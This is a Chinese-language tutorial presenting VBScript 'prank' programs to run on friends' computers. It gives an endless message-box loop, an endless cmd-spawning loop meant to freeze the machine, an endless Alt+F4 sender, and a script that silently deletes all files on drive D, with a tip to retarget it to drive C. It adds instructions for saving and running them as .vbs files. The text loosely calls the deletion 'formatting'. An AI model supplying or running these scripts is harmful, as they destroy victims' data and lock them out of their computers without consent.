用VBS语言编写恶搞程序

用VBS语言编写恶搞程序

你是否想要整一下你的朋友或者......今天给大家带来几个vbs整人代码，有兴趣的可以试一下（整整你的朋友）。注：下面介绍的代码可能会对电脑有一点点的危害。（指的是格盘的那个代码）

首先，第一个代码

————————————————————————————————

do

msgbox "在这里填上你想要显示的语句，运行程序就会出现在这里填的语句“

loop

————————————————————————————————

这个代码非常简单，运行后就会出现一个对话框，上面显示你所填的语句，并会不断弹出此对话框，直到电脑死机。如果想结束它，最快的办法就是...重启电脑。

第二个

————————————————————————————————

set wsh=createobject("wscript.shell")

do

wsh.run "cmd"

loop

————————————————————————————————

这个代码写完启动后，就会不断弹出命令提示符，简称cmd，并会不断弹出，直到电脑死机。你也可以把引号里的cmd改成别的，如calc，是windows里的计算器程序的名称。改完后就不断弹出计算器程序。

第三个，有点危害，不要尝试。

————————————————————————————————

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

————————————————————————————————

简单介绍，运行会格式化D盘，把这个地方—>del d:\*.* / <—改一下，也就是del后的d,这是盘符，如改为c盘，就会格式化c盘。

代码：

————————————————————————————————

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

————————————————————————————————

它运行后，开什么都关闭，包括前面的几个程序，尽管这样，也尽量不要在自己电脑上运行。

要运行这样的vbs程序很简单，复制代码，打开记事本，粘贴代码，保存好，并更改此文件扩展名为.vbs 不会的，可以上网上搜。然后就是一个vbs脚本程序了。